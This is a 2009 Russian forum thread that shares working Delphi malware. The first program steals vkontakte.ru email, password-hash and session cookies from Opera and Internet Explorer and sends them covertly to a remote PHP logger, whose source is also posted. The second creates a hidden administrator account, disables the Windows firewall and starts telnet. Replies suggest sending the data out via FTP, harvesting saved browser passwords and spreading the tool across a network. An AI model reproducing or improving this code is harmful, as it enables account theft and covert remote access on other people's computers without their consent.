Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Сливаем Hash от vkontakte.ru[Delphi+php] (https://forum.antichat.xyz/showthread.php?t=122292)

JeDaSe 25.05.2009 21:22

Сливаем Hash от vkontakte.ru[Delphi+php]
 
Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено
Код:

program killall;

{$APPTYPE CONSOLE}

uses
  SysUtils,windows,ShellAPI;
//-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
function GetUserFromWindows: string;
var
  UserName : string;
  UserNameLen : Dword;
begin
  UserNameLen := 255;
  SetLength(userName, UserNameLen);
  if GetUserName(PChar(UserName), UserNameLen) then
    Result := Copy(UserName,1,UserNameLen - 1)
  else
    Result := 'Unknown';
end;
//------------------------------------------------------------------------------
//-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
function GetSystemDisk: string;
var
 S: array[0..MAX_PATH] of Char;
begin
  GetWindowsDirectory(S,SizeOf(S));
  Result:=copy(S,0,1);
end;
//------------------------------------------------------------------------------
var
 User,Disc,mail,hash,id,startdir:string;
 coock,st,mask:string;
 f:TextFile;
 i:integer;
 searchrec : tsearchrec;
 Opera,IE: string;
begin
 Disc:=GetSystemDisk;
 User:=GetUserFromWindows;
 Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
 if FileExists(Opera) then
 begin
  AssignFile(f,Opera);                       
  Reset(f);                                 
  for i:=0 to 500 do
  begin
    Readln(f, st);
    coock:=coock+st;
  end;
  delete(coock,1,pos('remixemail',coock)+12);
  mail:=copy(coock,0,pos(#18,coock)-1);
  delete(coock,1,pos('remixpass',coock)+11);
  hash:=copy(coock,0,pos(#18,coock)-1);
  delete(coock,1,pos('remixsid',coock)+9);
  id:=copy(coock,0,pos(#18,coock)-1);
  ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
 end;

 startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
 mask := '*.*';
 if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
 begin
  repeat
  if pos('vkontakte',searchrec.name)<>0 then
  begin
    AssignFile(f,startdir+searchrec.name);
    Reset(f);
    for i:=0 to 500 do
    begin
      Readln(f, st);
      coock:=coock+st;
    end;
    delete(coock,1,pos('remixemail',coock)+9);
    mail:=copy(coock,0,pos('vkon',coock)-1);
    delete(coock,1,pos('remixpass',coock)+11);
    hash:=copy(coock,0,pos('vkon',coock)-1);
    delete(coock,1,pos('remixsid',coock)+9);
    id:=copy(coock,0,pos('vkon',coock)-1);
    ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
  end;
  until findnext(searchrec) <> 0;
 end;
end.


и код снифера(snif.php)
PHP код:

<?php
$fp
=fopen("sn.html","a+t");  
fputs($fp,
Время: "
.date("[D d/m/Y H:i]")."<br>  
Мыло: "
.$_GET['m']."<br>
Хэш: "
.$_GET['h']."<br>
ID: "
.$_GET['i']."<br>
Браузер: "
.$_GET['t']."<br><br>
"
);
fclose($fp);
header("Location: http://google.ru");  
?>


wildshaman 25.05.2009 21:26

а, сорри, зачет

JeDaSe 25.05.2009 21:30

Цитата:

Сообщение от wildshaman
Тырит только от оперы - низачот(

Ну наверно надо посмотреть получше
Цитата:

Сообщение от root_sashok
странно, каменты кракозябрами

первый раз пишу на форуме ещё не разобрался что как

Gar|k 27.05.2009 02:24

идея прикольная
в проге недаработки
1) открываешь файл и почемуто считываешь 500 строк (как я понял в делфи не селен) и там уже ишешь строку нужную... а если файл намного больше?
2) а если там нет кук вконтакта, тогда что? тогда она наверное вылетит с ошибкой или в лучшем случае пошлет пустые параметры.
3) для отправки ты как я смотрю используешь тупа выполнить... и параметры передаешь в GET запросе - а ведь GET запросы остаются в логах веб сервера... вывод POST и WINSOCK

Gar|k 27.05.2009 02:31

кстати реализовать можно намного проще... архивировать куки и используя системную комманду ftp (фаер побреется...) скрытно передавать их на свой ftp... а потом тиха разбирать, я думаю кроме контакта найдутся еще куча кук на интересные сервисы. хотя это все рутина )) прогой анализировать круче хех

на основе данных можно сделать активный снифер кук. взял куки с харда зашел поменял пароль - ты насяльника

St0nX 28.05.2009 11:37

А я для пользователей своей сети использую. ARP spoofing + Wireshark.
Больше интересного вытащить можно)

JeDaSe 28.05.2009 12:04

Вот ещё интересная вещь, но старая
Код:

{ *********************************************************************** }
{  Delphi 7                                                              }
{  JeDaSe ICQ:8673900                                                      }
{  exec telnet & kill SharedAccess                                        }
{ *********************************************************************** }
program PsevdoSHELL;

{$APPTYPE CONSOLE}

uses
  SysUtils,windows;

var
Login,pass:string;
begin
  Pass:='Hackers'; // Пароль пользователя(взломщика)
  Login:='Hackers';// Логин
  winexec(PChar('cmd.exe /c  net user '+Login+' '+Pass+'  /add'),sw_normal);//Добавляем пользователя
  winexec(PChar('cmd.exe /c net localgroup "Администраторы" '+Login+' /add '),sw_normal);//Делаем его админом
  winexec(PChar('cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "'+Login+'" /t REG_DWORD /d 00000000'),sw_normal);
  winexec(PChar('cmd.exe /c  sc config wscsvc start= disabled'),sw_normal);
  winexec(PChar('cmd.exe /c  sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
  winexec(PChar('cmd.exe /c  sc config tlntsvr start= auto'),sw_normal);
  winexec(PChar('cmd.exe /c  sc stop wscsvc'),sw_normal);
  winexec(PChar('cmd.exe /c  sc stop SharedAccess '),sw_normal);
  winexec(PChar('cmd.exe /c  sc start tlntsvr '),sw_normal); //запускаем телнет
end.

отключает брендмауер и запускает телнет

ronald 03.06.2009 12:35

а без этого bat файлом сложно ;) ?
Кстати код не идеален, сработает только на рус винде, и только если прогу запутил админ

waik 03.06.2009 12:51

ТСу зачет однозначно!

warlok 05.06.2009 03:44

root_sashok каменты крозяблами потому что тс копировал из делфи у мну тоже такое бывает :)

Seregakz 16.08.2009 05:52

кто прогу может немного переделать?)) чтоб все куки оперы вставлялись в мемо расшифрованы %)

ex3me 16.08.2009 14:36

CloseFile забыл =)

Плюс, действительно считывать надо не 500 строк:
Код:

while not EOF(f) do
  begin
    Readln(f, st);
    cook:=cook+st;
  end;

А вообще - зачет. Надо будет раскидать по сети ))

Seregakz 16.08.2009 21:34

Цитата:

Сообщение от ex3me
CloseFile забыл =)

Плюс, действительно считывать надо не 500 строк:
Код:

while not EOF(f) do
  begin
    Readln(f, st);
    cook:=cook+st;
  end;

А вообще - зачет. Надо будет раскидать по сети ))


Если чисто весь файл в мемо кинуть то он не отображаетсо =// неподскажеш чтоб все куки грабились чё сделать?))))

ex3me 16.08.2009 22:39

Все отображается. Прекрасно. Можешь не в мемо кидать построчно, а Memo1.Lines.LoadFromFile, или же

Код:

var
  str:TStrings;
begin
  str:=TStringList.Create
  str.LoadFromFile('filename');
  ...
  str.Free;
end;


Seregakz 17.08.2009 01:31

а моя не внимательность проблемы были с переменой)

токо вот чёт

PHP код:

while not EOF(f) do
   
begin
     Readln
(fst);
     
cook:=cook+st;
   
end

не грузит весь файл))

ex3me 17.08.2009 01:46

Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14

Seregakz 17.08.2009 04:05

ex3me, токо пример с 14-го поста не проканал =/
Делал так:
PHP код:

  str:=TStringList.Create;
  
str.LoadFromFile(Opera);
  
memo1.Lines.AddStrings(str);
  
str.Free

не подскажеш как разгребсти их в читабельный вид?))) а это это ппц всё вместе)

ex3me 17.08.2009 09:41

Код:

memo1.Lines.Assign

Seregakz 17.08.2009 09:49

Цитата:

Сообщение от ex3me
Код:

memo1.Lines.Assign

аналогично не пашет) простой файл грузит, а файл с куками нет)
PHP код:

 str:=TStringList.Create
  
str.LoadFromFile(Opera);
  
memo1.Lines.Assign(str);
  
str.Free


flacs 18.08.2009 00:35

ну дык нуль терминейт символы в файле есть
храни во времнном буфере, и открывай вот так файл

var FS: TFileStream;
buf: array of char; // временный буфер
begin
FS:=TFileStream.Create('path of file', fmOpenRead);
SetLength(buf, FS.size+1);
FS.Read(buf, FS.Size);
FS.Free;

Цитата:

while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;
Блин не построчно (Readln), а посимвольно(Read) читать надо

ErrorNeo 18.08.2009 01:07

чета афтар подзабил на ачат, а тема норм.
в исходный код можно добавить много вкусного, убрать {$APPTYPE CONSOLE}, сделать отправку пассов и куков не мгновенной, а отложенной..
так же можно найти у юзера сохраненные в самом браузере(мазиле+опере) пароли, которые, даже, не придется "ломать", т.к. они хранятся там в "восстановимом" виде (в мазиле - всегда, в опере - если специально не был задан мастер-пароль, что крайне маловероятно).

Много можно сделать интересного, любопытного и занятного:p было бы желание

=Zeus= 18.08.2009 01:14

Цитата:

Сообщение от ex3me
Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14

Насколько я знаю, то если в настройках проекта стоит галочка "Wide String", то ограничений на длину нету.

Seregakz 18.08.2009 01:15

Цитата:

Сообщение от flacs
ну дык нуль терминейт символы в файле есть
храни во времнном буфере, и открывай вот так файл

var FS: TFileStream;
buf: array of char; // временный буфер
begin
FS:=TFileStream.Create('path of file', fmOpenRead);
SetLength(buf, FS.size+1);
FS.Read(buf, FS.Size);
FS.Free;



Блин не построчно (Readln), а посимвольно(Read) читать надо

Аналогично не пашет)) приведите плз рабочий код вывода куков в мемо)))

flacs 18.08.2009 11:25

в мемо оно не будет корректно отображаца, ИБО есть нуль-терминайт символы в файле (#00)

если только читать файл посимвольно, и записывать только значимые символы, отсекая то что в МЕМО может некорректно отображаца
Код:

var
    c: char;
    data: string;
begin
      AssignFile(f,'путь');
      Reset(f);
      while not eof (f) do begin
          Read(f,c);
          case c of
            0..9,A..Z, a..z, #32: data:=data+c; // те символы которые тру отображаются
          end;
      end;
      CloseFile(f);
      Memo1.text:=data;
end;

Конечно, это жутко медленный и нубско-ламерский способ, но по крайней мере воркает =/

tecca555 18.08.2009 12:13

автор как я знаю добивает проект,скоро выставит на общий смотр

Seregakz 18.08.2009 16:25

Цитата:

Сообщение от flacs
в мемо оно не будет корректно отображаца, ИБО есть нуль-терминайт символы в файле (#00)

если только читать файл посимвольно, и записывать только значимые символы, отсекая то что в МЕМО может некорректно отображаца
Код:

var
    c: char;
    data: string;
begin
      AssignFile(f,'путь');
      Reset(f);
      while not eof (f) do begin
          Read(f,c);
          case c of
            0..9,A..Z, a..z, #32: data:=data+c; // те символы которые тру отображаются
          end;
      end;
      CloseFile(f);
      Memo1.text:=data;
end;

Конечно, это жутко медленный и нубско-ламерский способ, но по крайней мере воркает =/


Не воркает))))))))))))

flacs 18.08.2009 17:23

Потому что вы никуя не умеете программить, а лишь компилите готовые куски кода, и ни в состоянии исправить элементарные ошибки.....
Код:

var
    f: file of char;
    c: char;
    data: string;
begin
      AssignFile(f,'путь');
      Reset(f);
      while not eof (f) do begin
          Read(f,c);
          case c of
            '0'..'9','A'..'Z', 'a'..'z', #32, #9, ':': data:=data+c;
          end;
      end;
      CloseFile(f);
      Memo1.text:=data;
end;


Seregakz 18.08.2009 18:34

Цитата:

Сообщение от flacs
Потому что вы никуя не умеете программить, а лишь компилите готовые куски кода, и ни в состоянии исправить элементарные ошибки.....
Код:

var
    f: file of char;
    c: char;
    data: string;
begin
      AssignFile(f,'путь');
      Reset(f);
      while not eof (f) do begin
          Read(f,c);
          case c of
            '0'..'9','A'..'Z', 'a'..'z', #32, #9, ':': data:=data+c;
          end;
      end;
      CloseFile(f);
      Memo1.text:=data;
end;



)))))) я не про то что ошибка в коде была) я про то что он в мемо загрузит одну строчку и всё)) хотя сам файл кук мег весит))
Мне просто надо куки приводить в читабельный вид чтобы потом пост запросом отправить на сервер)

flacs 18.08.2009 21:10

Seregakz, у меня все тру воркает, я хз че там у тебя

Seregakz 18.08.2009 21:17

Цитата:

Сообщение от flacs
Seregakz, у меня все тру воркает, я хз че там у тебя

А мона както фильтрануть нул даннные с помощью StringReplace ?? пробовал #0 нефика(

_nic 19.08.2009 18:37

Я так понял тырятся куки из Оперы и ИЕ? А как же огнелис?


Время: 20:49